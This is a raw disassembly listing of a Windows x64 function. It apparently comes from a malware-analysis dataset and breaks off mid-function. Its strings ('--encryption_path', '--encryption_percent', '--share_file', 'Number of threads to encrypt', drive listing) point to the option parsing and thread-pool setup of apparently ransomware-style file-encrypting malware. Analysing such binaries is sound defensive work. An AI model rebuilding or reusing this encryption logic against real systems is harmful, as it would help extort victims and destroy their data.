Function at 0x14004ca40
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x850]
sub rsp, 0x950
mov rax, qword [0x1400ed368]
xor rax, rsp
mov qword [rbp + 0x840], rax
lea rcx, [rbp + 0x698]
call fcn.1400951f4
lea rcx, [rbp + 0x698]
call fcn.140094b08
mov r9, rax
lea r8, str.Log__d__m__Y__H__M__S
mov edx, 0x50
lea rcx, [rbp + 0x7f0]
call fcn.140094f48
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
xor r13d, r13d
mov qword [rbp + 0x6b0], r13
mov qword [rbp + 0x6b8], r13
lea rax, [rbp + 0x7f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14004cad4
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x6a0]
call fcn.140036fe0
lea rdx, [rbp + 0x6a0]
call fcn.14004c6f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
movups xmmword [rbp + 0x5b8], xmm0
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x5d8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
xorps xmm0, xmm0
test rax, rax
je 0x14004e452
xor eax, eax
mov qword [rbp + 0x662], rax
mov dword [rbp + 0x66a], eax
mov word [rbp + 0x66e], ax
movdqa xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], r13
mov qword [rbp + 0x620], r13
lea ecx, [rax + 0x60]
call fcn.140084fd0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x628], r13
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x630], xmm0
mov qword [rbp + 0x648], r13
mov ecx, 0x40
call fcn.140084fd0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x658], r13
mov ecx, 0x40
call fcn.140084fd0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x650], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
movsxd rdx, dword [rbp + 0x5d8]
mov r8, rsi
lea rcx, [rbp + 0x600]
call fcn.140053d70
lea rax, [0x1400d2a64]
mov qword [rbp + 0x78], rax
lea rax, str.__encryption_path
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x170], xmm0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x600]
call fcn.14004f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xf8]
call fcn.1400501d0
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x14004cd1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cd17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e681
call fcn.14008525c
movups xmm0, xmmword [rbp + 0xf8]
movups xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [rbp + 0x108]
movups xmmword [rbp + 0x590], xmm1
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], 7
mov word [rbp + 0xf8], r13w
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x240], r14
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x23c], edx
lea rcx, [rbp + 0x250]
call fcn.14004eec0
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x240], r12
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x23c], edx
lea rdi, vtable.std::ios_base.0
mov qword [rbp + 0x2d0], rdi
lea rcx, [rbp + 0x2d0]
call fcn.14007969c
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov r8d, 2
lea rdx, [0x1400d2a74]
lea rcx, [rbp + 0x98]
call fcn.14003e3a0
mov rbx, qword [rbp + 0x640]
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x1a0]
call fcn.1400503f0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.140055080
mov r15, rax
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 8
jb 0x14004ce7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e687
call fcn.14008525c
mov rdx, qword [rbp + 0xb0]
cmp rdx, 8
jb 0x14004cec3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cebe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e68d
call fcn.14008525c
lea rax, [0x1400d2a6c]
mov qword [rbp + 0x88], rax
lea rax, str.__share_file
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x180], xmm0
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x600]
call fcn.14004f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xd8]
call fcn.1400501d0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x14004cf74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cf6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e693
call fcn.14008525c
movups xmm0, xmmword [rbp + 0xd8]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [rbp + 0xe8]
movups xmmword [rbp + 0x5f0], xmm1
mov qword [rbp + 0xe8], r13
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r13w
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r14
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x32c], edx
lea rcx, [rbp + 0x340]
call fcn.14004eec0
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r12
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x32c], edx
mov qword [rbp + 0x3c0], rdi
lea rcx, [rbp + 0x3c0]
call fcn.14007969c
nop
lea rax, [0x1400d2a7c]
mov qword [rsp + 0x70], rax
lea rax, str.__encryption_percent
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x570], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x578], rax
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x190], xmm0
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x600]
call fcn.14004f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x130]
call fcn.1400501d0
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x14004d0cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d0c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e699
call fcn.14008525c
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x5c8], xmm1
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r13w
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r14
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x41c], edx
lea rcx, [rbp + 0x430]
call fcn.14004eec0
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r12
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x41c], edx
mov qword [rbp + 0x4b0], rdi
lea rcx, [rbp + 0x4b0]
call fcn.14007969c
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xa
lea rdx, str._localonly
lea rcx, [rsp + 0x30]
call fcn.14003e3a0
mov rdi, qword [rbp + 0x640]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x150]
call fcn.1400503f0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.140055080
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x168]
cmp rdx, 8
jb 0x14004d20e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e69f
call fcn.14008525c
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14004d250
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d24b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6a5
call fcn.14008525c
mov rdx, qword [rbp + 0x678]
cmp rdx, 8
jb 0x14004d296
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d291
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6ab
call fcn.14008525c
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
mov r8, qword [rbp + 0x650]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x650]
call fcn.14005c9b0
mov edx, 0x40
mov rcx, qword [rbp + 0x650]
call fcn.14008525c
mov r8, qword [rbp + 0x640]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x640]
call fcn.14005c9b0
mov edx, 0x40
mov rcx, qword [rbp + 0x640]
call fcn.14008525c
lea rcx, [rbp + 0x628]
call fcn.140044790
lea rcx, [rbp + 0x618]
call fcn.14004f1e0
lea rcx, [rbp + 0x600]
call fcn.140044790
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [rbp + 0x560], 0x32
cmp qword [rbp + 0x5c8], 0
je 0x14004d3a3
call fcn.1400951d4
mov r14, rax
lea rsi, [rbp + 0x5b8]
cmp qword [rbp + 0x5d0], 8
cmovae rsi, qword [rbp + 0x5b8]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp + 0x558]
mov rcx, rsi
call fcn.1400947e0
mov dword [rbp + 0x560], eax
cmp rsi, qword [rbp + 0x558]
je 0x14004e6b1
cmp dword [r14], 0x22
je 0x14004e6be
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rax
lea rcx, [rbp + 0x5a0]
call fcn.1400766e0
cmp rbx, r15
je 0x14004d4f8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xe
lea rdx, str.List_of_drives
lea rcx, [rsp + 0x30]
call fcn.140036fe0
mov rcx, qword [0x1400f5e58]
mov esi, 2
test rcx, rcx
je 0x14004d423
lea r8, [rsp + 0x30]
mov edx, esi
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d423
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004d460
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d45b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6cb
call fcn.14008525c
mov rbx, qword [rbp + 0x5a0]
mov rdi, qword [rbp + 0x5a8]
cmp rbx, rdi
je 0x14004e3bb
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.140076b30
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d4ae
mov r8, rax
mov edx, esi
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d4ae
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x14004d4ef
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d4ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6d1
call fcn.14008525c
add rbx, 0x28
jmp 0x14004d46e
call fcn.140078df0
mov rbx, rax
call fcn.140078dd4
cmp rbx, 0x989680
jne 0x14004d514
imul rsi, rax, 0x64
jmp 0x14004d52f
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
mov qword [rbp - 0x80], rsi
call fcn.14006ecf0
call fcn.140070c30
call fcn.140071d80
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [rbp + 0x7e0]
test ebx, ebx
jne 0x14004d5f4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rbx + 0x11]
lea rdx, str.No_cpu_available_
lea rcx, [rsp + 0x30]
call fcn.140036fe0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d5af
lea r8, [rsp + 0x30]
lea edx, [rbx + 4]
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d5af
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004e3bb
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e3b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e67b
jmp 0x14004e3b6
mov ecx, 0x38
call fcn.140084fd0
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rcx
mov rcx, rax
call fcn.14007af40
mov r14, rax
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14004e328
lea rcx, [0x1400ef010]
call fcn.14008c3d8
mov edx, eax
mov r9b, 1
lea r8, [0x1400ee010]
mov rcx, r14
call fcn.14007ba90
test eax, eax
jne 0x14004e328
mov qword [rbp + 0x550], r14
cmp ebx, 4
jg 0x14004d66b
cmp ebx, 1
mov eax, 2
cmove ebx, eax
add ebx, ebx
imul ecx, ebx, 0x1e
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 5
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
mov dword [rsp + 0x54], r8d
lea ecx, [rbx + rbx*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x50], edx
mov eax, 1
jne 0x14004d6b1
mov dword [rsp + 0x50], eax
mov edx, eax
sub ebx, r8d
sub ebx, edx
mov dword [rsp + 0x58], ebx
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x1c0]
call fcn.14003dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x25
jb 0x14004d767
lea rax, [r8 + 0x25]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004d6fa
mov r14, qword [rbx]
lea rax, [0x1400d2ba5]
mov r13d, 0x25
lea r12, str.Number_of_thread_to_folder_parsers_
cmp rax, r14
jbe 0x14004d72e
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004d72e
cmp r14, r12
ja 0x14004d726
xor r15d, r15d
jmp 0x14004d731
mov r15, r14
sub r15, r12
jmp 0x14004d731
mov r15, r13
inc r8
lea rcx, [r14 + 0x25]
mov rdx, r14
call fcn.1400875c0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.1400875c0
sub r13, r15
lea rdx, [r12 + 0x25]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.1400875c0
jmp 0x14004d78c
mov r13d, 0x25
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r14d, r14d
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d7e7
lea r8, [rbp]
lea edx, [r14 + 2]
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d7e7
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14004d822
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d81d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6d7
call fcn.14008525c
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r14b
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14004d873
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d86e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6d7
call fcn.14008525c
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.14003dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x2a
jb 0x14004d923
lea rax, [r8 + 0x2a]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004d8b3
mov r14, qword [rbx]
lea rax, [0x1400d2b7a]
mov r13d, 0x2a
lea r12, str.Number_of_thread_to_root_folder_parsers_
cmp rax, r14
jbe 0x14004d8e7
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004d8e7
cmp r14, r12
ja 0x14004d8df
xor r15d, r15d
jmp 0x14004d8ea
mov r15, r14
sub r15, r12
jmp 0x14004d8ea
mov r15, r13
inc r8
lea rcx, [r14 + 0x2a]
mov rdx, r14
call fcn.1400875c0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.1400875c0
sub r13, r15
lea rdx, [r12 + 0x2a]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.1400875c0
xor r14d, r14d
jmp 0x14004d948
mov r13d, 0x2a
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_root_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d9a1
lea r8, [rbp - 0x20]
mov edx, 2
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004d9a1
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14004d9dc
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d9d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6dd
call fcn.14008525c
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14004da2d
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004da28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6dd
call fcn.14008525c
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x200]
call fcn.14003dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1f
jb 0x14004dadd
lea rax, [r8 + 0x1f]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x14004da6d
mov r14, qword [rbx]
lea rax, [0x1400d2be7]
mov r13d, 0x1f
lea r12, str.Number_of_threads_to_encrypt_
cmp rax, r14
jbe 0x14004daa1
lea rax, [r14 + r8]
cmp r12, rax
ja 0x14004daa1
cmp r14, r12
ja 0x14004da99
xor r15d, r15d
jmp 0x14004daa4
mov r15, r14
sub r15, r12
jmp 0x14004daa4
mov r15, r13
inc r8
lea rcx, [r14 + 0x1f]
mov rdx, r14
call fcn.1400875c0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.1400875c0
sub r13, r15
lea rdx, [r12 + 0x1f]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.1400875c0
xor r14d, r14d
jmp 0x14004db02
mov r13d, 0x1f
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_threads_to_encrypt_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.14003ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004db5b
lea r8, [rbp - 0x40]
mov edx, 2
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004db5b
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14004db96
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004db91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6e3
call fcn.14008525c
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14004dbe7
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004dbe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6e3
call fcn.14008525c
mov ecx, 0x180
call fcn.140084fd0
mov r15, rax
mov qword [rbp + 0x40], rax
mov r12d, 1
mov dword [rax + 8], r12d
mov dword [rax + 0xc], r12d
lea rax, vtable.std::_Ref_count_obj2_class_ThreadPool_.0
mov qword [r15], rax
lea r13, [r15 + 0x10]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, r13
call fcn.1400737d0
test r13, r13
je 0x14004dc98
mov rax, qword [r13 + 8]
test rax, rax
je 0x14004dc39
cmp dword [rax + 8], 0
jne 0x14004dc98
lock inc dword [r15 + 8]
lock inc dword [r15 + 0xc]
mov qword [r13], r13
mov rcx, qword [r13 + 8]
mov qword [r13 + 8], r15
mov rbx, 0xffffffffffffffff
test rcx, rcx
je 0x14004dc6d
mov eax, ebx
lock xadd dword [rcx + 0xc], eax
cmp eax, r12d
jne 0x14004dc6d
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, ebx
lock xadd dword [r15 + 8], eax
cmp eax, r12d
jne 0x14004dc98
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, ebx
lock xadd dword [r15 + 0xc], eax
cmp eax, r12d
jne 0x14004dc98
mov rax, qword [r15]
mov rcx, r15
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x570]
call fcn.140054230
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
cmp qword [rbp + 0x5f0], 0
je 0x14004dd9b
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x5e0]
call fcn.140041fc0
test al, al
jne 0x14004dd9b
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xor r13d, r13d
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
lea r8d, [r13 + 0x1b]
lea rdx, str.Failed_to_read_share_files_
lea rcx, [rbp + 0xb8]
call fcn.140036fe0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004dd4e
lea r8, [rbp + 0xb8]
lea edx, [r13 + 4]
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004dd4e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x14004dd8f
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004dd8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6e9
call fcn.14008525c
mov r14, qword [rbp + 0x578]
jmp 0x14004e2a5
cmp qword [rbp + 0x590], 0
je 0x14004de6c
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x564]
call fcn.140042c50
cmp byte [rbp + 0x564], 0
jne 0x14004e00f
movzx eax, byte [rbp + 0x565]
cmp rdi, qword [rbp - 0x70]
je 0x14004ddde
test al, al
jne 0x14004e00f
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0x220], xmm0
